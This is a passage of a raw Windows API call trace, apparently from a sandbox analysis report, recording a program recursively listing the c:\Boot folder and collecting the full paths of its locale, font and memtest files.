returned 0 [0029.555] FindClose (in: hFindFile=0x795a28 | out: hFindFile=0x795a28) returned 1 [0029.555] FindNextFileW (in: hFindFile=0x7959e8, lpFindFileData=0x45f0e0 | out: lpFindFileData=0x45f0e0) returned 1 [0029.555] lstrcmpW (lpString1="es-ES", lpString2=".") returned 1 [0029.555] lstrcmpW (lpString1="es-ES", lpString2="..") returned 1 [0029.555] lstrlenW (lpString="c:\\Boot\\") returned 8 [0029.555] lstrlenW (lpString="es-ES") returned 5 [0029.555] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="es-ES" | out: lpString1="c:\\Boot\\es-ES") returned="c:\\Boot\\es-ES" [0029.555] lstrcatW (in: lpString1="c:\\Boot\\es-ES", lpString2="\\" | out: lpString1="c:\\Boot\\es-ES\\") returned="c:\\Boot\\es-ES\\" [0029.555] lstrlenW (lpString="c:\\Boot\\es-ES\\") returned 14 [0029.555] lstrcatW (in: lpString1="c:\\Boot\\es-ES\\", lpString2="*" | out: lpString1="c:\\Boot\\es-ES\\*") returned="c:\\Boot\\es-ES\\*" [0029.555] FindFirstFileW (in: lpFileName="c:\\Boot\\es-ES\\*", lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 0x795a28 [0029.604] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0029.604] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.604] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0029.604] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0029.604] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.604] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0029.604] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0029.604] lstrlenW (lpString="c:\\Boot\\es-ES\\") returned 14 [0029.604] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0029.604] lstrcatW (in: lpString1="c:\\Boot\\es-ES\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\es-ES\\bootmgr.exe.mui") returned="c:\\Boot\\es-ES\\bootmgr.exe.mui" [0029.604] lstrlenW (lpString="c:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29 [0029.604] lstrcpyW (in: lpString1=0x262c10, lpString2="c:\\Boot\\es-ES\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\es-ES\\bootmgr.exe.mui") returned="c:\\Boot\\es-ES\\bootmgr.exe.mui" [0029.604] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 0 [0029.604] FindClose (in: hFindFile=0x795a28 | out: hFindFile=0x795a28) returned 1 [0029.604] FindNextFileW (in: hFindFile=0x7959e8, lpFindFileData=0x45f0e0 | out: lpFindFileData=0x45f0e0) returned 1 [0029.605] lstrcmpW (lpString1="fi-FI", lpString2=".") returned 1 [0029.605] lstrcmpW (lpString1="fi-FI", lpString2="..") returned 1 [0029.605] lstrlenW (lpString="c:\\Boot\\") returned 8 [0029.605] lstrlenW (lpString="fi-FI") returned 5 [0029.605] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="fi-FI" | out: lpString1="c:\\Boot\\fi-FI") returned="c:\\Boot\\fi-FI" [0029.605] lstrcatW (in: lpString1="c:\\Boot\\fi-FI", lpString2="\\" | out: lpString1="c:\\Boot\\fi-FI\\") returned="c:\\Boot\\fi-FI\\" [0029.605] lstrlenW (lpString="c:\\Boot\\fi-FI\\") returned 14 [0029.605] lstrcatW (in: lpString1="c:\\Boot\\fi-FI\\", lpString2="*" | out: lpString1="c:\\Boot\\fi-FI\\*") returned="c:\\Boot\\fi-FI\\*" [0029.605] FindFirstFileW (in: lpFileName="c:\\Boot\\fi-FI\\*", lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 0x795a28 [0029.605] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0029.605] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.605] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0029.605] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0029.605] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.605] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0029.605] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0029.605] lstrlenW (lpString="c:\\Boot\\fi-FI\\") returned 14 [0029.605] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0029.605] lstrcatW (in: lpString1="c:\\Boot\\fi-FI\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\fi-FI\\bootmgr.exe.mui") returned="c:\\Boot\\fi-FI\\bootmgr.exe.mui" [0029.605] lstrlenW (lpString="c:\\Boot\\fi-FI\\bootmgr.exe.mui") returned 29 [0029.605] lstrcpyW (in: lpString1=0x262c58, lpString2="c:\\Boot\\fi-FI\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\fi-FI\\bootmgr.exe.mui") returned="c:\\Boot\\fi-FI\\bootmgr.exe.mui" [0029.605] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 0 [0029.605] FindClose (in: hFindFile=0x795a28 | out: hFindFile=0x795a28) returned 1 [0029.605] FindNextFileW (in: hFindFile=0x7959e8, lpFindFileData=0x45f0e0 | out: lpFindFileData=0x45f0e0) returned 1 [0029.605] lstrcmpW (lpString1="Fonts", lpString2=".") returned 1 [0029.605] lstrcmpW (lpString1="Fonts", lpString2="..") returned 1 [0029.605] lstrlenW (lpString="c:\\Boot\\") returned 8 [0029.605] lstrlenW (lpString="Fonts") returned 5 [0029.605] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="Fonts" | out: lpString1="c:\\Boot\\Fonts") returned="c:\\Boot\\Fonts" [0029.605] lstrcatW (in: lpString1="c:\\Boot\\Fonts", lpString2="\\" | out: lpString1="c:\\Boot\\Fonts\\") returned="c:\\Boot\\Fonts\\" [0029.605] lstrlenW (lpString="c:\\Boot\\Fonts\\") returned 14 [0029.605] lstrcatW (in: lpString1="c:\\Boot\\Fonts\\", lpString2="*" | out: lpString1="c:\\Boot\\Fonts\\*") returned="c:\\Boot\\Fonts\\*" [0029.605] FindFirstFileW (in: lpFileName="c:\\Boot\\Fonts\\*", lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 0x795a28 [0029.636] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0029.636] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.636] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0029.636] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0029.636] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.636] lstrcmpW (lpString1="chs_boot.ttf", lpString2=".") returned 1 [0029.636] lstrcmpW (lpString1="chs_boot.ttf", lpString2="..") returned 1 [0029.636] lstrlenW (lpString="c:\\Boot\\Fonts\\") returned 14 [0029.637] lstrlenW (lpString="chs_boot.ttf") returned 12 [0029.637] lstrcatW (in: lpString1="c:\\Boot\\Fonts\\", lpString2="chs_boot.ttf" | out: lpString1="c:\\Boot\\Fonts\\chs_boot.ttf") returned="c:\\Boot\\Fonts\\chs_boot.ttf" [0029.637] lstrlenW (lpString="c:\\Boot\\Fonts\\chs_boot.ttf") returned 26 [0029.637] lstrcpyW (in: lpString1=0x262ca0, lpString2="c:\\Boot\\Fonts\\chs_boot.ttf" | out: lpString1="c:\\Boot\\Fonts\\chs_boot.ttf") returned="c:\\Boot\\Fonts\\chs_boot.ttf" [0029.637] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.637] lstrcmpW (lpString1="cht_boot.ttf", lpString2=".") returned 1 [0029.637] lstrcmpW (lpString1="cht_boot.ttf", lpString2="..") returned 1 [0029.637] lstrlenW (lpString="c:\\Boot\\Fonts\\") returned 14 [0029.637] lstrlenW (lpString="cht_boot.ttf") returned 12 [0029.637] lstrcatW (in: lpString1="c:\\Boot\\Fonts\\", lpString2="cht_boot.ttf" | out: lpString1="c:\\Boot\\Fonts\\cht_boot.ttf") returned="c:\\Boot\\Fonts\\cht_boot.ttf" [0029.637] lstrlenW (lpString="c:\\Boot\\Fonts\\cht_boot.ttf") returned 26 [0029.637] lstrcpyW (in: lpString1=0x262ce0, lpString2="c:\\Boot\\Fonts\\cht_boot.ttf" | out: lpString1="c:\\Boot\\Fonts\\cht_boot.ttf") returned="c:\\Boot\\Fonts\\cht_boot.ttf" [0029.637] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.637] lstrcmpW (lpString1="jpn_boot.ttf", lpString2=".") returned 1 [0029.637] lstrcmpW (lpString1="jpn_boot.ttf", lpString2="..") returned 1 [0029.637] lstrlenW (lpString="c:\\Boot\\Fonts\\") returned 14 [0029.637] lstrlenW (lpString="jpn_boot.ttf") returned 12 [0029.637] lstrcatW (in: lpString1="c:\\Boot\\Fonts\\", lpString2="jpn_boot.ttf" | out: lpString1="c:\\Boot\\Fonts\\jpn_boot.ttf") returned="c:\\Boot\\Fonts\\jpn_boot.ttf" [0029.637] lstrlenW (lpString="c:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0029.637] lstrcpyW (in: lpString1=0x262d20, lpString2="c:\\Boot\\Fonts\\jpn_boot.ttf" | out: lpString1="c:\\Boot\\Fonts\\jpn_boot.ttf") returned="c:\\Boot\\Fonts\\jpn_boot.ttf" [0029.637] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.637] lstrcmpW (lpString1="kor_boot.ttf", lpString2=".") returned 1 [0029.637] lstrcmpW (lpString1="kor_boot.ttf", lpString2="..") returned 1 [0029.637] lstrlenW (lpString="c:\\Boot\\Fonts\\") returned 14 [0029.637] lstrlenW (lpString="kor_boot.ttf") returned 12 [0029.637] lstrcatW (in: lpString1="c:\\Boot\\Fonts\\", lpString2="kor_boot.ttf" | out: lpString1="c:\\Boot\\Fonts\\kor_boot.ttf") returned="c:\\Boot\\Fonts\\kor_boot.ttf" [0029.637] lstrlenW (lpString="c:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0029.637] lstrcpyW (in: lpString1=0x262d60, lpString2="c:\\Boot\\Fonts\\kor_boot.ttf" | out: lpString1="c:\\Boot\\Fonts\\kor_boot.ttf") returned="c:\\Boot\\Fonts\\kor_boot.ttf" [0029.637] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.637] lstrcmpW (lpString1="wgl4_boot.ttf", lpString2=".") returned 1 [0029.637] lstrcmpW (lpString1="wgl4_boot.ttf", lpString2="..") returned 1 [0029.637] lstrlenW (lpString="c:\\Boot\\Fonts\\") returned 14 [0029.637] lstrlenW (lpString="wgl4_boot.ttf") returned 13 [0029.637] lstrcatW (in: lpString1="c:\\Boot\\Fonts\\", lpString2="wgl4_boot.ttf" | out: lpString1="c:\\Boot\\Fonts\\wgl4_boot.ttf") returned="c:\\Boot\\Fonts\\wgl4_boot.ttf" [0029.637] lstrlenW (lpString="c:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0029.637] lstrcpyW (in: lpString1=0x262da0, lpString2="c:\\Boot\\Fonts\\wgl4_boot.ttf" | out: lpString1="c:\\Boot\\Fonts\\wgl4_boot.ttf") returned="c:\\Boot\\Fonts\\wgl4_boot.ttf" [0029.637] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 0 [0029.637] FindClose (in: hFindFile=0x795a28 | out: hFindFile=0x795a28) returned 1 [0029.637] FindNextFileW (in: hFindFile=0x7959e8, lpFindFileData=0x45f0e0 | out: lpFindFileData=0x45f0e0) returned 1 [0029.637] lstrcmpW (lpString1="fr-FR", lpString2=".") returned 1 [0029.637] lstrcmpW (lpString1="fr-FR", lpString2="..") returned 1 [0029.637] lstrlenW (lpString="c:\\Boot\\") returned 8 [0029.638] lstrlenW (lpString="fr-FR") returned 5 [0029.638] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="fr-FR" | out: lpString1="c:\\Boot\\fr-FR") returned="c:\\Boot\\fr-FR" [0029.638] lstrcatW (in: lpString1="c:\\Boot\\fr-FR", lpString2="\\" | out: lpString1="c:\\Boot\\fr-FR\\") returned="c:\\Boot\\fr-FR\\" [0029.638] lstrlenW (lpString="c:\\Boot\\fr-FR\\") returned 14 [0029.638] lstrcatW (in: lpString1="c:\\Boot\\fr-FR\\", lpString2="*" | out: lpString1="c:\\Boot\\fr-FR\\*") returned="c:\\Boot\\fr-FR\\*" [0029.638] FindFirstFileW (in: lpFileName="c:\\Boot\\fr-FR\\*", lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 0x795a28 [0029.644] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0029.644] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.644] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0029.644] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0029.644] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.644] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0029.644] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0029.644] lstrlenW (lpString="c:\\Boot\\fr-FR\\") returned 14 [0029.644] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0029.644] lstrcatW (in: lpString1="c:\\Boot\\fr-FR\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\fr-FR\\bootmgr.exe.mui") returned="c:\\Boot\\fr-FR\\bootmgr.exe.mui" [0029.644] lstrlenW (lpString="c:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0029.644] lstrcpyW (in: lpString1=0x262de0, lpString2="c:\\Boot\\fr-FR\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\fr-FR\\bootmgr.exe.mui") returned="c:\\Boot\\fr-FR\\bootmgr.exe.mui" [0029.644] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 0 [0029.644] FindClose (in: hFindFile=0x795a28 | out: hFindFile=0x795a28) returned 1 [0029.644] FindNextFileW (in: hFindFile=0x7959e8, lpFindFileData=0x45f0e0 | out: lpFindFileData=0x45f0e0) returned 1 [0029.644] lstrcmpW (lpString1="hu-HU", lpString2=".") returned 1 [0029.644] lstrcmpW (lpString1="hu-HU", lpString2="..") returned 1 [0029.644] lstrlenW (lpString="c:\\Boot\\") returned 8 [0029.644] lstrlenW (lpString="hu-HU") returned 5 [0029.644] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="hu-HU" | out: lpString1="c:\\Boot\\hu-HU") returned="c:\\Boot\\hu-HU" [0029.644] lstrcatW (in: lpString1="c:\\Boot\\hu-HU", lpString2="\\" | out: lpString1="c:\\Boot\\hu-HU\\") returned="c:\\Boot\\hu-HU\\" [0029.644] lstrlenW (lpString="c:\\Boot\\hu-HU\\") returned 14 [0029.644] lstrcatW (in: lpString1="c:\\Boot\\hu-HU\\", lpString2="*" | out: lpString1="c:\\Boot\\hu-HU\\*") returned="c:\\Boot\\hu-HU\\*" [0029.644] FindFirstFileW (in: lpFileName="c:\\Boot\\hu-HU\\*", lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 0x795a28 [0029.644] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0029.644] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.644] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0029.644] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0029.644] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.645] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0029.645] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0029.645] lstrlenW (lpString="c:\\Boot\\hu-HU\\") returned 14 [0029.645] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0029.645] lstrcatW (in: lpString1="c:\\Boot\\hu-HU\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\hu-HU\\bootmgr.exe.mui") returned="c:\\Boot\\hu-HU\\bootmgr.exe.mui" [0029.645] lstrlenW (lpString="c:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0029.645] lstrcpyW (in: lpString1=0x262e28, lpString2="c:\\Boot\\hu-HU\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\hu-HU\\bootmgr.exe.mui") returned="c:\\Boot\\hu-HU\\bootmgr.exe.mui" [0029.645] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 0 [0029.645] FindClose (in: hFindFile=0x795a28 | out: hFindFile=0x795a28) returned 1 [0029.645] FindNextFileW (in: hFindFile=0x7959e8, lpFindFileData=0x45f0e0 | out: lpFindFileData=0x45f0e0) returned 1 [0029.645] lstrcmpW (lpString1="it-IT", lpString2=".") returned 1 [0029.645] lstrcmpW (lpString1="it-IT", lpString2="..") returned 1 [0029.645] lstrlenW (lpString="c:\\Boot\\") returned 8 [0029.645] lstrlenW (lpString="it-IT") returned 5 [0029.645] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="it-IT" | out: lpString1="c:\\Boot\\it-IT") returned="c:\\Boot\\it-IT" [0029.645] lstrcatW (in: lpString1="c:\\Boot\\it-IT", lpString2="\\" | out: lpString1="c:\\Boot\\it-IT\\") returned="c:\\Boot\\it-IT\\" [0029.645] lstrlenW (lpString="c:\\Boot\\it-IT\\") returned 14 [0029.645] lstrcatW (in: lpString1="c:\\Boot\\it-IT\\", lpString2="*" | out: lpString1="c:\\Boot\\it-IT\\*") returned="c:\\Boot\\it-IT\\*" [0029.645] FindFirstFileW (in: lpFileName="c:\\Boot\\it-IT\\*", lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 0x795a28 [0029.657] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0029.657] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.657] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0029.658] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0029.658] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.658] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0029.658] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0029.658] lstrlenW (lpString="c:\\Boot\\it-IT\\") returned 14 [0029.658] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0029.658] lstrcatW (in: lpString1="c:\\Boot\\it-IT\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\it-IT\\bootmgr.exe.mui") returned="c:\\Boot\\it-IT\\bootmgr.exe.mui" [0029.658] lstrlenW (lpString="c:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0029.658] lstrcpyW (in: lpString1=0x262e70, lpString2="c:\\Boot\\it-IT\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\it-IT\\bootmgr.exe.mui") returned="c:\\Boot\\it-IT\\bootmgr.exe.mui" [0029.658] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 0 [0029.658] FindClose (in: hFindFile=0x795a28 | out: hFindFile=0x795a28) returned 1 [0029.658] FindNextFileW (in: hFindFile=0x7959e8, lpFindFileData=0x45f0e0 | out: lpFindFileData=0x45f0e0) returned 1 [0029.658] lstrcmpW (lpString1="ja-JP", lpString2=".") returned 1 [0029.658] lstrcmpW (lpString1="ja-JP", lpString2="..") returned 1 [0029.658] lstrlenW (lpString="c:\\Boot\\") returned 8 [0029.658] lstrlenW (lpString="ja-JP") returned 5 [0029.658] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="ja-JP" | out: lpString1="c:\\Boot\\ja-JP") returned="c:\\Boot\\ja-JP" [0029.658] lstrcatW (in: lpString1="c:\\Boot\\ja-JP", lpString2="\\" | out: lpString1="c:\\Boot\\ja-JP\\") returned="c:\\Boot\\ja-JP\\" [0029.658] lstrlenW (lpString="c:\\Boot\\ja-JP\\") returned 14 [0029.658] lstrcatW (in: lpString1="c:\\Boot\\ja-JP\\", lpString2="*" | out: lpString1="c:\\Boot\\ja-JP\\*") returned="c:\\Boot\\ja-JP\\*" [0029.658] FindFirstFileW (in: lpFileName="c:\\Boot\\ja-JP\\*", lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 0x795a28 [0029.658] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0029.658] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.658] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0029.658] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0029.658] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.658] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0029.658] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0029.658] lstrlenW (lpString="c:\\Boot\\ja-JP\\") returned 14 [0029.658] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0029.658] lstrcatW (in: lpString1="c:\\Boot\\ja-JP\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\ja-JP\\bootmgr.exe.mui") returned="c:\\Boot\\ja-JP\\bootmgr.exe.mui" [0029.658] lstrlenW (lpString="c:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0029.658] lstrcpyW (in: lpString1=0x262eb8, lpString2="c:\\Boot\\ja-JP\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\ja-JP\\bootmgr.exe.mui") returned="c:\\Boot\\ja-JP\\bootmgr.exe.mui" [0029.658] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 0 [0029.658] FindClose (in: hFindFile=0x795a28 | out: hFindFile=0x795a28) returned 1 [0029.658] FindNextFileW (in: hFindFile=0x7959e8, lpFindFileData=0x45f0e0 | out: lpFindFileData=0x45f0e0) returned 1 [0029.658] lstrcmpW (lpString1="ko-KR", lpString2=".") returned 1 [0029.658] lstrcmpW (lpString1="ko-KR", lpString2="..") returned 1 [0029.658] lstrlenW (lpString="c:\\Boot\\") returned 8 [0029.659] lstrlenW (lpString="ko-KR") returned 5 [0029.659] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="ko-KR" | out: lpString1="c:\\Boot\\ko-KR") returned="c:\\Boot\\ko-KR" [0029.659] lstrcatW (in: lpString1="c:\\Boot\\ko-KR", lpString2="\\" | out: lpString1="c:\\Boot\\ko-KR\\") returned="c:\\Boot\\ko-KR\\" [0029.659] lstrlenW (lpString="c:\\Boot\\ko-KR\\") returned 14 [0029.659] lstrcatW (in: lpString1="c:\\Boot\\ko-KR\\", lpString2="*" | out: lpString1="c:\\Boot\\ko-KR\\*") returned="c:\\Boot\\ko-KR\\*" [0029.659] FindFirstFileW (in: lpFileName="c:\\Boot\\ko-KR\\*", lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 0x795a28 [0029.690] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0029.690] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.690] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0029.690] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0029.690] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.690] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0029.690] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0029.690] lstrlenW (lpString="c:\\Boot\\ko-KR\\") returned 14 [0029.690] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0029.690] lstrcatW (in: lpString1="c:\\Boot\\ko-KR\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\ko-KR\\bootmgr.exe.mui") returned="c:\\Boot\\ko-KR\\bootmgr.exe.mui" [0029.690] lstrlenW (lpString="c:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0029.690] lstrcpyW (in: lpString1=0x262f00, lpString2="c:\\Boot\\ko-KR\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\ko-KR\\bootmgr.exe.mui") returned="c:\\Boot\\ko-KR\\bootmgr.exe.mui" [0029.690] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 0 [0029.690] FindClose (in: hFindFile=0x795a28 | out: hFindFile=0x795a28) returned 1 [0029.690] FindNextFileW (in: hFindFile=0x7959e8, lpFindFileData=0x45f0e0 | out: lpFindFileData=0x45f0e0) returned 1 [0029.690] lstrcmpW (lpString1="memtest.exe", lpString2=".") returned 1 [0029.690] lstrcmpW (lpString1="memtest.exe", lpString2="..") returned 1 [0029.691] lstrlenW (lpString="c:\\Boot\\") returned 8 [0029.691] lstrlenW (lpString="memtest.exe") returned 11 [0029.691] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="memtest.exe" | out: lpString1="c:\\Boot\\memtest.exe") returned="c:\\Boot\\memtest.exe" [0029.691] lstrlenW (lpString="c:\\Boot\\memtest.exe") returned 19 [0029.691] lstrcpyW (in: lpString1=0x262f48, lpString2="c:\\Boot\\memtest.exe" | out: lpString1="c:\\Boot\\memtest.exe") returned="c:\\Boot\\memtest.exe" [0029.691] FindNextFileW (in: hFindFile=0x7959e8, lpFindFileData=0x45f0e0 | out: lpFindFileData=0x45f0e0) returned 1 [0029.691] lstrcmpW (lpString1="nb-NO", lpString2=".") returned 1 [0029.691] lstrcmpW (lpString1="nb-NO", lpString2="..") returned 1 [0029.691] lstrlenW (lpString="c:\\Boot\\") returned 8 [0029.691] lstrlenW (lpString="nb-NO") returned 5 [0029.691] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="nb-NO" | out: lpString1="c:\\Boot\\nb-NO") returned="c:\\Boot\\nb-NO" [0029.691] lstrcatW (in: lpString1="c:\\Boot\\nb-NO", lpString2="\\" | out: lpString1="c:\\Boot\\nb-NO\\") returned="c:\\Boot\\nb-NO\\" [0029.691] lstrlenW (lpString="c:\\Boot\\nb-NO\\") returned 14 [0029.691] lstrcatW (in: lpString1="c:\\Boot\\nb-NO\\", lpString2="*" | out: lpString1="c:\\Boot\\nb-NO\\*") returned="c:\\Boot\\nb-NO\\*" [0029.691] FindFirstFileW (in: lpFileName="c:\\Boot\\nb-NO\\*", lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 0x795a28 [0029.691] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0029.691] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.691] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0029.691] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0029.691] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.691] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0029.691] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0029.691] lstrlenW (lpString="c:\\Boot\\nb-NO\\") returned 14 [0029.691] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0029.691] lstrcatW (in: lpString1="c:\\Boot\\nb-NO\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\nb-NO\\bootmgr.exe.mui") returned="c:\\Boot\\nb-NO\\bootmgr.exe.mui" [0029.691] lstrlenW (lpString="c:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0029.691] lstrcpyW (in: lpString1=0x262f78, lpString2="c:\\Boot\\nb-NO\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\nb-NO\\bootmgr.exe.mui") returned="c:\\Boot\\nb-NO\\bootmgr.exe.mui" [0029.691] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 0 [0029.691] FindClose (in: hFindFile=0x795a28 | out: hFindFile=0x795a28) returned 1 [0029.691] FindNextFileW (in: hFindFile=0x7959e8, lpFindFileData=0x45f0e0 | out: lpFindFileData=0x45f0e0) returned 1 [0029.691] lstrcmpW (lpString1="nl-NL", lpString2=".") returned 1 [0029.691] lstrcmpW (lpString1="nl-NL", 